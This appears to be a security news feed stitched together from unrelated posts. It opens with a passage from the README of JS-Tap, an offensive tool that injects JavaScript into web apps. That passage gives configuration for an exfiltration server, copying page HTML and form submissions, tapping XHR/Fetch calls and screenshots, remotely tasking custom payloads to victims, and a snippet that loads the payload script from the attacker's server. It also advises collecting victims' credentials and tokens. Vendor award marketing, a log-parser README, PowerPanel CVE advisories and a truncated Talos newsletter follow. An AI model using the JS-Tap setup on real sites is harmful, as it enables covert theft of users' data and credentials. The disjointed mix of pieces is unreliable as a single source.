A big difference in configuration when using Gunicorn for serving the application is that you need to configure the number of workers (heavy weight processes) and threads (lightweight serving processes). JS-Tap is a very I/O heavy application, so using threads in addition to workers is beneficial in scaling up the application on multi-processor machines. Note that if you're using NGINX on the same box you need to configure NGNIX to also use multiple processes so you don't bottleneck on the proxy itself.

At the top of the jstapRun.sh script are the numWorkers and numThreads parameters. I like to use number of CPUs + 1 for workers, and 4-8 threads depending on how beefy the processors are. For NGINX in its configuration I typically set worker_processes auto;

Proxy Mode is set by the PROXYMODE variable, and the data directory with the DATADIRECTORY variable. Note the data directory variable needs a trailing '/' added.

Using the gunicorn startup script will use a self-signed cert when started with PROXYMODE set to False. You need to generate that self-signed cert first with:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

telemlib.js Configuration

These configuration variables are in the initGlobals() function.

JS-Tap Server Location

You need to configure the payload with the URL of the JS-Tap server it will connect back to.

window.taperexfilServer = "https://127.0.0.1:8444";

Mode

Set to either trap or implant This is set with the variable:

window.taperMode = "trap";
or
window.taperMode = "implant";

Trap Mode Starting Page

Only needed for trap mode. See explanation in Operating Modes section above.
Sets the page the user starts on when the iFrame trap is set.

window.taperstartingPage = "http://targetapp.com/somestartpage";

If you want the trap to start on the current page, instead of redirecting the user to a different page in the iframe trap, you can use:

window.taperstartingPage = window.location.href;

Client Tag

Useful if you're using JS-Tap against multiple applications or deployments at once and want a visual indicator of what payload was loaded. Remember that the entire /payloads directory is served, you can have multiple JS-Tap payloads configured with different modes, start pages, and clien tags.

This tag string (keep it short!) is prepended to the client nickname in the JS-Tap portal. Setup multiple payloads, each with the appropriate configuration for the application its being used against, and add a tag indicating which app the client is running.

window.taperTag = 'whatever';

Custom Payload Tasks

Used to set if clients are checking for Custom Payload tasks, and how often they're checking. The jitter settings Let you optionally set a floor and ceiling modifier. A random value between these two numbers will be picked and added to the check delay. Set these to 0 and 0 for no jitter.

window.taperTaskCheck        = true;
window.taperTaskCheckDelay = 5000;
window.taperTaskJitterBottom = -2000;
window.taperTaskJitterTop = 2000;

Exfiltrate HTML

true/false setting on whether a copy of the HTML code of each page viewed is exfiltrated.

window.taperexfilHTML = true;

Copy Form Submissions

true/false setting on whether to intercept a copy of all form posts.

window.taperexfilFormSubmissions = true;

MonkeyPatch APIs

Enable monkeypatching of XHR and Fetch APIs. This works in trap mode. In implant mode, only Fetch APIs are monkeypatched. Monkeypatching allows JavaScript to be rewritten at runtime. Enabling this feature will re-write the XHR and Fetch networking APIs used by JavaScript code in order to tap the contents of those network calls. Not that jQuery based network calls will be captured in the XHR API, which jQuery uses under the hood for network calls.

window.monkeyPatchAPIs = true;

Screenshot after API calls

By default JS-Tap will capture a new screenshot after the user navigates to a new page. Some applications do not change their path when new data is loaded, which would cause missed screenshots. JS-Tap can be configured to capture a new screenshot after an XHR or Fetch API call is made. These API calls are often used to retrieve new data to display. Two settings are offered, one to enable the "after API call screenshot", and a delay in milliseconds. X milliseconds after the API call JS-Tap will capture the new screenshot.

window.postApiCallScreenshot = true;
window.screenshotDelay = 1000;

JS-Tap Portal

Login with the admin credentials provided by the server script on startup.

Clients show up on the left, selecting one will show a time series of their events (loot) on the right.

The clients list can be sorted by time (first seen, last update received) and the list can be filtered to only show the "starred" clients. There is also a quick filter search above the clients list that allows you to quickly filter clients that have the entered string. Useful if you set an optional tag in the payload configuration. Optional tags show up prepended to the client nickname.

Each client has an 'x' button (near the star button). This allows you to delete the session for that client, if they're sending junk or useless data, you can prevent that client from submitting future data.

When the JS-Tap payload starts, it retrieves a session from the JS-Tap server. If you want to stop all new client sessions from being issues, select Session Settings at the top and you can disable new client sessions. You can also block specific IP addresses from receiving a session in here.

Each client has a "notes" feature. If you find juicy information for that particular client (credentials, API tokens, etc) you can add it to the client notes. After you've reviewed all your clients and made you notes, the View All Notes feature at the top allows you to export all notes from all clients at once.

The events list can be filtered by event type if you're trying to focus on something specific, like screenshots. Note that the events/loot list does not automatically update (the clients list does). If you want to load the latest events for the client you need to select the client again on the left.

Custom Payloads

Starting in version 1.02 there is a custom payload feature. Multiple JavaScript payloads can be added in the JS-Tap portal and executed on a single client, all current clients, or set to autorun on all future clients. Payloads can be written/edited within the JS-Tap portal, or imported from a file. Payloads can also be exported. The format for importing payloads is simple JSON. The JavaScript code and description are simply base64 encoded.

[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]

The main user interface for custom payloads is from the top menu bar. Select Custom Payloads to open the interface. Any existing payloads will be shown in a list on the left. The button bar allows you to import and export the list. Payloads can be edited on the right side. To load an existing payload for editing select the payload by clicking on it in the Saved Payloads list. Once you have payloads defined and saved, you can execute them on clients.

In the main Custom Payloads view you can launch a payload against all current clients (the Run Payload button). You can also toggle on the Autorun attribute of a payload, which means that all new clients will run the payload. Note that existing clients will not run a payload based on the Autorun setting.

You can toggle on Repeat Payload and the payload will be tasked for each client when they check for tasks. Remember, the rate that a client checks for custom payload tasks is variable, and that rate can be changed in the main JS-Tap payload configuration. That rate can be changed with a custom payload (calling the updateTaskCheckInterval(newDelay) function). The jitter in the task check delay can be set with the updateTaskCheckJitter(newTop, newBottom) function.

The Clear All Jobs button in the custom payload UI will delete all custom payload jobs from the queue for all clients and resets the auto/repeat run toggles.

To run a payload on a single client user the Run Payload button on the specific client you wish to run it on, and then hit the run button for the specific payload you wish to use. You can also set Repeat Payload on individual clients.

Tools

A few tools are included in the tools subdirectory.

clientSimulator.py

A script to stress test the jsTapServer. Good for determining roughly how many clients your server can handle. Note that running the clientSimulator script is probably more resource intensive than the actual jsTapServer, so you may wish to run it on a separate machine.

At the top of the script is a numClients variable, set to how many clients you want to simulator. The script will spawn a thread for each, retrieve a client session, and send data in simulating a client.

numClients = 50

You'll also need to configure where you're running the jsTapServer for the clientSimulator to connect to:

apiServer = "https://127.0.0.1:8444"

JS-Tap run using gunicorn scales quite well.

MonkeyPatchApp

A simple app used for testing XHR/Fetch monkeypatching, but can give you a simple app to test the payload against in general.

Run with:

python3 monkeyPatchLab.py

By default this will start the application running on:

https://127.0.0.1:8443

Pressing the "Inject JS-Tap payload" button will run the JS-Tap payload. This works for either implant or trap mode. You may need to point the monkeyPatchLab application at a new JS-Tap server location for loading the payload file, you can find this set in the injectPayload() function in main.js

function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}

formParser.py

Abandoned tool, is a good start on analyzing HTML for forms and parsing out their parameters. Intended to help automatically generate JavaScript payloads to target form posts.

You should be able to run it on exfiltrated HTML files. Again, this is currently abandonware.

generateIntelReport.py

No longer working, used before the web UI for JS-Tap. The generateIntelReport script would comb through the gathered loot and generate a PDF report. Saving all the loot to disk is now disabled for performance reasons, most of it is stored in the datagbase with the exception of exfiltratred HTML code and screenshots.

Contact

@hoodoer
[email protected]



CrowdStrike Named the Only Customers’ Choice in 2024 Gartner® “Voice of the Customer” for External Attack Surface Management

30 April 2024 at 16:17

As adversaries become faster and stealthier, they relentlessly search for vulnerable assets to exploit. Meanwhile, your digital footprint is expanding, making it increasingly challenging to keep track of all of your assets. It’s no wonder 76% of breaches in 2023 were due to unknown and unmanaged internet-facing assets.

Against this backdrop, it’s more critical than ever for organizations to maintain a continuous and comprehensive understanding of their entire attack surface. This is where CrowdStrike Falcon® Exposure Management comes in:

In the field of exposure management, the value of external attack surface management (EASM) cannot be overstated. In short, EASM helps organizations identify known and unknown internet-facing assets, get real-time visibility into their exposures and vulnerabilities, and prioritize remediation to reduce intrusion risk.

Integrated into Falcon Exposure Management are the robust EASM capabilities of CrowdStrike Falcon® Surface, which uses a proprietary real-time engine to continuously scan the internet, and map and index more than 95 billion internet-facing assets annually. This gives organizations a vital “outside-in” perspective on the exposure of these assets and helps security teams prioritize and address vulnerabilities — not based on generic vulnerability severity scores but based on real-world adversary behavior and tactics from CrowdStrike® Counter Adversary Operations threat intelligence.

The EASM capabilities of Falcon Exposure Management are best-in-class. But don’t just take it from us. Here’s what CrowdStrike customers had to say.

93% Willing to Recommend CrowdStrike

CrowdStrike is the only vendor named Customers’ Choice in the 2024 Gartner “Voice of the Customer” Report for External Attack Surface Management, with 93% of respondents saying they are willing to recommend CrowdStrike.

The “Voice of the Customer” is a document that synthesizes Gartner Peer Insights’ reviews into insights for IT decision makers. Here’s a sampling of the individual reviews and ratings on the Gartner Peer Insights page:

Falcon Surface is the EASM you need.”

“The tool gives critical insight into your attack surface helping to show what you don’t know.”

Strategic assessing for internet exposed assets.”

“A market analysis of external vulnerability analysis was carried out and after testing the product we were convinced to purchase it for the company.”

Effective ASM solution byte per byte.”

“Easy and continuous vulnerability assessment, effective risk prioritization, accuracy on remediations guidance.”

Our mission is clear: to stop breaches. Understanding and reducing risk is critical to stopping the breach, and we thank our customers for their support and validation of the unified CrowdStrike Falcon® XDR platform as the definitive cybersecurity platform.

Falcon Exposure Management: A Critical Component of the Falcon Platform

Organizations are embracing cybersecurity consolidation to reduce cost and complexity while improving security outcomes. Understanding the reduction of cyber risk across the modern attack surface is a critical component of any organization’s cybersecurity strategy. 

Falcon Exposure Management unifies real-time security data from Falcon Surface for EASM, CrowdStrike Falcon® Discover for asset, account and app discovery, and CrowdStrike Falcon® Spotlight for vulnerability management. CrowdStrike received a Customers’ Choice distinction in the 2024 Gartner® Peer Insights™ Voice of the Customer for Vulnerability Assessment

With AI-powered vulnerability management and a comprehensive visual mapping of all connected assets, Falcon Exposure Management dramatically speeds up detection and response times, transforming reactive operations into proactive cybersecurity strategies to stop breaches before they happen. Integration with real-time threat intelligence correlates exposures with adversary behavior to help prioritize based on business impact and the likelihood of real-world exploitation. 

While traditional approaches to exposure management use disjointed products, only CrowdStrike delivers Falcon Exposure Management from the Falcon platform, making it fast and easy for customers to deploy the exposure management capabilities that customers love using the single lightweight Falcon agent and single console.

By deploying Falcon Exposure Management on the Falcon platform, organizations can realize incredible benefits such as a projected 200% faster CVE prioritization to respond quickly to critical vulnerabilities, up to 75% reduction in attack surface to lower the risk of a breach and up to $200,000 USD in annual savings by consolidating point products.

 

*Based on 32 overall reviews as of December 2023.

GARTNER is a registered trademark and service mark, and PEER INSIGHTS is a trademark and service mark, of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved.

This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from CrowdStrike. Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose.

Additional Resources

CrowdStrike Named Overall Leader in Industry’s First ITDR Comparative Report

30 April 2024 at 09:10

The industry’s first identity detection and response (ITDR) analyst report names CrowdStrike an Overall Leader and a “cyber industry force.”

In KuppingerCole Leadership Compass, Identity Threat Detection and Response (ITDR) 2024: IAM Meets the SOC, CrowdStrike was named a Leader in every category — Product, Innovation, Market and Overall Ranking — and positioned the highest for Innovation among all eight vendors evaluated. We received the top overall position in the report and a perfect 5/5 rating in every criteria, including security, functionality, deployment, interoperability, usability, innovativeness, market position, financial strength and ecosystem.

CrowdStrike pioneered ITDR to stop modern attacks with the industry’s first and only unified platform for identity protection and endpoint security powered by threat intelligence and adversary tradecraft — all delivered on a single agent. The market has continued to recognize our leadership, with CrowdStrike being positioned furthest to the right of all eight vendors evaluated in KuppingerCole’s report.

Figure 1. The Overall Leader chart in the KuppingerCole Leadership Compass, Identity Threat Detection and Response (ITDR) 2024: IAM Meets the SOC

A Leader in Innovation

In 2023, 75% of attacks used to gain initial access were malware-free, highlighting the prevalence of identity-based attacks and use of compromised credentials. Since releasing CrowdStrike Falcon® Identity Threat Protection in 2020, CrowdStrike has been constantly innovating on the product to deliver a mature solution that stops modern identity attacks.

In the report, CrowdStrike was positioned furthest to the right and highest in Innovation, demonstrating our commitment to delivering cutting-edge technology. “CrowdStrike is a cyber industry force, and its Falcon Identity Protection demonstrates real attention to detail where threats are related,” KuppingerCole states.

The cloud-native architecture of Falcon Identity Protection is another point of differentiation, delivering the speed and scale that businesses need, with minimal hardware requirements.

“Offered as a cloud-native SaaS service, Falcon Identity Protection component requires a minimal on-premises footprint, requiring only a lightweight Falcon sensor on the Active Directory (AD) domain controllers. This architecture also enables packet-level inspection and real-time alerting of suspicious events,” states the report.

CrowdStrike Focuses Where Threats Are

In our mission to stop breaches, CrowdStrike focuses where identity threats often originate: in Microsoft identity environments. This is reflected in the report, with KuppingerCole describing Microsoft environments as “the entry point to attack vectors.”

“Falcon Identity Protection excels at its deep coverage of Microsoft environments, including on-premises AD and Azure-based environments. The coverage ranges from aging AD protocols for domain controller replication, to password hash synchronization over AD Connect, to Azure based attacks on Entra ID,” states the report.

CrowdStrike’s protection of Microsoft identity stores extends into specific product features and services that KuppingerCole also highlighted in its report.

“Given CrowdStrike’s long history in InfoSec and SOC practices, Falcon Identity Protection offers unique features to help bridge identity administration performed by IT and identity security. It does this by providing guidance to InfoSec personnel who may not have deep knowledge of AD and Entra ID.”

With these features and our continuing emphasis on stopping identity-based attacks on Microsoft environments, KuppingerCole said CrowdStrike delivers “very strong protection for Microsoft environments” in its report.

Delivered from the Unified Falcon Platform

CrowdStrike firmly believes ITDR is a problem that cannot be addressed in isolation by point products. Of all of the vendors evaluated in the report, CrowdStrike is the only one that delivers identity security as a capability tightly integrated into a unified platform.

Our innovative approach of combining endpoint and identity protection into the AI-native CrowdStrike Falcon® platform with a single agent, powered with threat intel and adversary tradecraft, is key to stopping identity breaches in real time. The unified approach is shown to accelerate response time with projections calculating up to 85% faster detection of identity attacks and lower total cost of ownership, delivering up to $2 million USD in savings over three years.

Another CrowdStrike advantage is our extensive partner network that delivers industry-leading capabilities such as real-time response as part of Falcon Identity Protection.

“The company’s API ecosystem offers REST and GraphQL APIs for most of its functionalities, including real-time response to identity threats. This approach not only offers compliance with current tech standards but also portrays CrowdStrike’s forward-thinking strategy, promising near-term enhancements to further open up their platform.”

The Future of Identity Security

With this report, CrowdStrike is the proven leader in identity threat protection, parallelling our industry leadership in endpoint security, cloud security, managed detection and response, threat intelligence and risk-based vulnerability management.

Thanks to all of the CrowdStrike customers that use our platform every day to stop breaches. We’re committed to delivering the best technology and services on the market for you!

Additional Resources

CrowdStrike Named a Leader in IDC MarketScape for Worldwide MDR

29 April 2024 at 18:31

The #1 global managed detection and response (MDR) provider and pioneer continues to dominate. Today, CrowdStrike was named a Leader in the 2024 IDC MarketScape: Worldwide Managed Detection and Response 2024 Vendor Assessment1 among the 19 vendors evaluated in the report. 

CrowdStrike was also recently named a Leader in Frost & Sullivan’s 2024 Frost Radar: Managed Detection and Response.

The global demand for MDR continues to surge as businesses face a harsh reality: While many struggle to recruit the cybersecurity talent they need, adversaries are getting faster and stealthier. To stay ahead of emerging threats, organizations must operate at maximum efficiency and employ the right blend of skills, processes and cutting-edge technology. 

CrowdStrike Falcon® Complete delivers 24/7 managed detection and response, powered by the AI-native CrowdStrike Falcon® XDR platform. Operating as a seamless extension of customers’ teams, Falcon Complete combines advanced threat detection, investigation and response with industry-leading threat intelligence and threat hunting to accelerate mean-time-to-respond (MTTR), narrow the cybersecurity skills gap and thwart even the most sophisticated attacks.

As a pioneer in MDR, the emerging cloud detection and response (CDR) category and adversary intelligence, CrowdStrike is consistently recognized by customers, analysts and third-party awards programs for its industry-leading MDR offering. 

IDC MarketScape: CrowdStrike a Leader in WW MDR

CrowdStrike has been named a Leader in the 2024 IDC MarketScape for worldwide MDR report. CrowdStrike was also named a Leader in the IDC MarketScape: U.S. Managed Detection Response Services 2021 Vendor Assessment.2

SOURCE: “IDC MarketScape: Worldwide Managed Detection and Response 2024 Vendor Assessment” by Craig Robinson, April 2024, IDC # US49006922.

 

IDC MarketScape vendor analysis model is designed to provide an overview of the competitive fitness of ICT suppliers in a given market. The research methodology utilizes a rigorous scoring methodology based on both qualitative and quantitative criteria that results in a single graphical illustration of each vendor’s position within a given market. The Capabilities score measures vendor product, go-to-market and business execution in the short-term. The Strategy score measures alignment of vendor strategies with customer requirements in a 3-5-year timeframe. Vendor market share is represented by the size of the circles. Vendor year-over-year growth rate relative to the given market is indicated by a plus, neutral or minus next to the vendor name.

The report noted…

“Falcon Complete offers a unique flat analyst operating model for MDR by eliminating analyst tiers and forming interchangeable “Fire Teams” — with each respective Fire Team capable of operating independently and delivering MDR services to customers 24×7. In this approach, every MDR security analyst is an experienced incident response expert capable of investigating and responding to any endpoint, cloud, identity, or multidomain threat they encounter. This model enables Falcon Complete to more efficiently and nimbly scale and balance resources across all Fire Teams while delivering positive security outcomes to every supported customer. The CrowdStrike Falcon platform and Falcon Complete MDR services are 100% cloud native and cloud delivered.”

Speed is a defining characteristic of Falcon Complete. With the fastest observed adversary breakout time down to just over two minutes in 2023, organizations are under immense pressure to quickly identify and stop attacks. 

“Falcon Complete’s multi-domain detection and response capabilities accelerate the time it takes to find and stop sophisticated, lateral-moving attacks.”

CrowdStrike’s elite security analysts and threat hunters deliver a seamless MDR service enriched with integrated threat intelligence and high-fidelity telemetry from the Falcon platform. This allows for faster and more effective detection and response to stop breaches. 

“IDC recognizes that there is a push ‘to the platform’ that is occurring in cybersecurity. This is worthy of mention as CrowdStrike has a wide depth and breadth of capabilities built into their Falcon platform that provides the technology muscle for their MDR offering.”

Frost & Sullivan: CrowdStrike Growth Leader in MDR

CrowdStrike was also named a Leader in the Frost Radar: Managed Detection and Response 2024. In the report, Frost & Sullivan named CrowdStrike the growth leader among 22 vendors evaluated and an “innovator and powerhouse” in the MDR sector.

“CrowdStrike delivers its services to companies of all sizes and across all industry verticals …. The company leverages its success in other security product and service domains, including endpoint security, cloud security, identity protection, XDR and more to power and cross-sell its MDR services while offering complimentary services that provide additional value for customers looking to address specific use cases.”

Our continued growth in MDR is accelerated by Falcon Complete for Service Providers, which allows service providers to enhance their offerings and provide their customers the highest level of protection powered by our industry-leading MDR service.

“In September 2023, CrowdStrike launched Falcon Complete for Service Providers, which allows MSSPs and MSPs to license the company’s Falcon Complete MDR service, leveraging its expert team and technology to deliver 24/7 monitoring and security to their customers. This program is flexible, allowing service partners to co-brand, white-label and customize the services they provide to unlock significant growth potential.”

Ranking CrowdStrike high in innovation, Frost & Sullivan called Falcon Complete a “world-class security service” in the MDR sector, also stating:

“CrowdStrike leverages its impressive R&D budget and expert understanding of the challenges and trends in the security space to hold on to its position as an innovator and powerhouse in the MDR sector and in the cybersecurity industry as a whole.”

Frost & Sullivan also noted CrowdStrike’s technology advantage of delivering Falcon Complete from the unified Falcon platform. This approach allows us to extend our MDR capabilities across endpoints, identities, cloud workloads and third-party data to deliver end-to-end response and remediation across key attack surfaces.

“CrowdStrike recently expanded its MDR portfolio, extending its 24/7 managed detection and response service to incorporate trusted third-party telemetry, data sources, and automated response actions. These integrations are powered by more than 20 CrowdStrike alliance partners, including Cisco, Fortinet, Mimecast, Proofpoint and Zscaler.”

Gold Standard of MDR

As the pioneer of MDR, CrowdStrike remains the gold standard, delivering outcomes, not homework, for thousands of organizations worldwide. 

Falcon Complete received the highest detection coverage and was the only MDR to detect 99% of adversary techniques in the 2022 MITRE Engenuity ATT&CK® Evaluations for Managed Security Services. And our best-in-class CrowdStrike Breach Prevention Warranty gives customers additional peace of mind knowing we stand behind our claims.

Thank you to the IDC MarketScape and Frost & Sullivan for the recognition and to all of the hardworking CrowdStrikers for delivering the best MDR service on the market! 

Additional Resources

 

  1.  Doc #US49006922, April 2024
  2. Doc #US48129921, August 2021

MasterParser - Powerful DFIR Tool Designed For Analyzing And Parsing Linux Logs


What is MasterParser ?

MasterParser stands as a robust Digital Forensics and Incident Response tool meticulously crafted for the analysis of Linux logs within the var/log directory. Specifically designed to expedite the investigative process for security incidents on Linux systems, MasterParser adeptly scans supported logs, such as auth.log for example, extract critical details including SSH logins, user creations, event names, IP addresses and much more. The tool's generated summary presents this information in a clear and concise format, enhancing efficiency and accessibility for Incident Responders. Beyond its immediate utility for DFIR teams, MasterParser proves invaluable to the broader InfoSec and IT community, contributing significantly to the swift and comprehensive assessment of security events on Linux platforms.


MasterParser Wallpapers

Love MasterParser as much as we do? Dive into the fun and jazz up your screen with our exclusive MasterParser wallpaper! Click the link below and get ready to add a splash of excitement to your device! Download Wallpaper

Supported Logs Format

This is the list of supported log formats within the var/log directory that MasterParser can analyze. In future updates, MasterParser will support additional log formats for analysis. |Supported Log Formats List| | --- | | auth.log |

Feature & Log Format Requests:

If you wish to propose the addition of a new feature \ log format, kindly submit your request by creating an issue Click here to create a request

How To Use ?

How To Use - Text Guide

  1. From this GitHub repository press on "<> Code" and then press on "Download ZIP".
  2. From "MasterParser-main.zip" export the folder "MasterParser-main" to you Desktop.
  3. Open a PowerSehll terminal and navigate to the "MasterParser-main" folder.
# How to navigate to "MasterParser-main" folder from the PS terminal
PS C:\> cd "C:\Users\user\Desktop\MasterParser-main\"
  1. Now you can execute the tool, for example see the tool command menu, do this:
# How to show MasterParser menu
PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Menu
  1. To run the tool, put all your /var/log/* logs in to the 01-Logs folder, and execute the tool like this:
# How to run MasterParser
PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Start
  1. That's it, enjoy the tool!

How To Use - Video Guide

https://github.com/YosfanEilay/MasterParser/assets/132997318/d26b4b3f-7816-42c3-be7f-7ee3946a2c70

MasterParser Social Media Publications

Social Media Posts
1. First Tool Post
2. First Tool Story Publication By Help Net Security
3. Second Tool Story Publication By Forensic Focus
4. MasterParser featured in Help Net Security: 20 Essential Open-Source Cybersecurity Tools That Save You Time


CVE-2024-31409

2 May 2024 at 16:53

CWE-285: IMPROPER AUTHORIZATION

Certain MQTT wildcards are not blocked on the system, which might result in an attacker obtaining data from throughout the system after gaining access to any device.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-31410

2 May 2024 at 16:53

CWE-321: USE OF HARD-CODED CRYPTOGRAPHIC KEY

The devices Power Panel manages use identical certificates based on a hard-coded cryptographic key. This can allow an attacker to impersonate any client in the system and send malicious data.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-31856

2 May 2024 at 16:53

CWE-89: IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN AN SQL COMMAND ('SQL INJECTION')

An attacker with certain MQTT permissions can create malicious messages to all Power Panel devices. This could result in an attacker injecting SQL syntax, writing arbitrary files to the system, and executing remote code.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-32042

2 May 2024 at 16:53

CWE-257: STORING PASSWORDS IN A RECOVERABLE FORMAT

The key used to encrypt passwords stored in the database can be found in the application code, allowing the passwords to be recovered.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-32047

2 May 2024 at 16:53

CWE-489: ACTIVE DEBUG CODE

Hard-coded credentials for the test server can be found in the production code. This might result in an attacker gaining access to the testing or production server.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-32053

2 May 2024 at 16:53

CWE-798: USE OF HARD-CODED CREDENTIALS

Hard-coded credentials are used by the platform to authenticate to the database, other services, and the cloud. This could result in an attacker gaining access to services with the privileges of a Powerpanel application.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-33615

2 May 2024 at 16:53

CWE-23: RELATIVE PATH TRAVERSAL

A specially crafted Zip file containing path traversal characters can be imported to the server, which allows file writing to the server outside the intended scope, and could allow an attacker to achieve remote code execution.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-34025

2 May 2024 at 16:53

CWE-259: USE OF HARD-CODED PASSWORD

The application code contains a hard-coded set of authentication credentials. This could result in an attacker bypassing authentication and gaining administrator privileges.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

What can we learn from the passwords used in brute-force attacks?

2 May 2024 at 18:00
What can we learn from the passwords used in brute-force attacks?

Brute force attacks are one of the most elementary cyber threats out there. Technically, anyone with a keyboard and some free time could launch one of them — just try a bunch of different username and password combinations on the website of your choice until you get blocked.  

Nick Biasini and I discussed some of the ways that organizations can defend against brute force attacks since detection usually doesn’t fall into the usual bucket (ex., there’s nothing an anti-virus program could detect running). But a good place to start just seems to be implementing strong password rules, because people, unsurprisingly, are still using some of the most obvious passwords that anyone, attacker or not, would guess. 

Along with our advisory on a recent increase in brute force attacks targeting SSH and VPN services Cisco Talos published a list of IP addresses associated with this activity, along with a list of usernames and passwords adversaries typically try to use to gain access to a network or service. 

There are some classics on this list — the ever-present “Password” password, Passw0rd (with a zero, not an “O”) and “123456.” This tells me that users still haven’t learned their lesson. It’s somewhat funny to think about some well-funded actor just being like, “Well, let me try to ‘hack’ into this machine by using ‘123456’” as if they’re in a parody movie, but if they already can guess a username based off someone’s real name, it’s not that unlikely that password is being used somewhere. 

A few other example passwords stood out to me: “Mart1x21,” because I can’t tell if this is just someone named “Martin” or a play on the month of March, and things like “Spring2024x21” and “April2024x21” because I appreciate the idea that someone using that weak of a password thinks that adding the extra three characters onto “April2024” is really going to throw an attacker off. 

Looking at this list got me thinking about what some potential solutions are to the internet’s password problem, and our ever-present battle to educate users and warn them about the dangers of using weak or default passwords. 

Going passwordless is certainly one option because if there just are no passwords to log in, there’s nothing text-based an attacker could just start guessing. 

The best solution I’ve seen recently is that the U.K. literally made a law requiring hardware and software manufacturers to implement stronger security standards. The Product Security and Telecommunications Infrastructure (PSTI) that went into effect last month contains a range of security protections companies must follow, but they now include mandatory password rules that will force users to change default passwords when registering for new accounts and stop them from using easy-to-guess passwords like “Admin” and “12345.”  

It would be great if users would just stop using these credentials on their own, but if attackers are still thinking that someone out there is using “Password” as their password, they probably are.  

The one big thing 

For the first time in several quarters, business email compromise (BEC) was the most common threat in Cisco Talos Incident Response (Talos IR) engagements during the first quarter of 2024. BEC made up 46 percent of all engagements in Q1, a significant spike from Q4 2023, according to the latest Talos IR Quarterly Trends Report. Ransomware, which was the top-observed threat in the last quarter of 2023, decreased by 11 percent. Talos IR also observed a variety of threats in engagements, including data theft extortion, brute-force activity targeting VPNs, and the previously seen commodity loader Gootloader. 

Why do I care? 

BEC is a tactic adversaries use to disguise themselves as legitimate members of a business and send phishing emails to other employees or third parties, often pointing to a malicious payload or engineering a scheme to steal money. The use of email-hiding inbox rules was the top-observed defense evasion technique, accounting for 21 percent of engagements this quarter, which was likely due to an increase in BEC and phishing within engagements. These are all valuable insights from the field provided in Talos IR’s full report. 

So now what? 

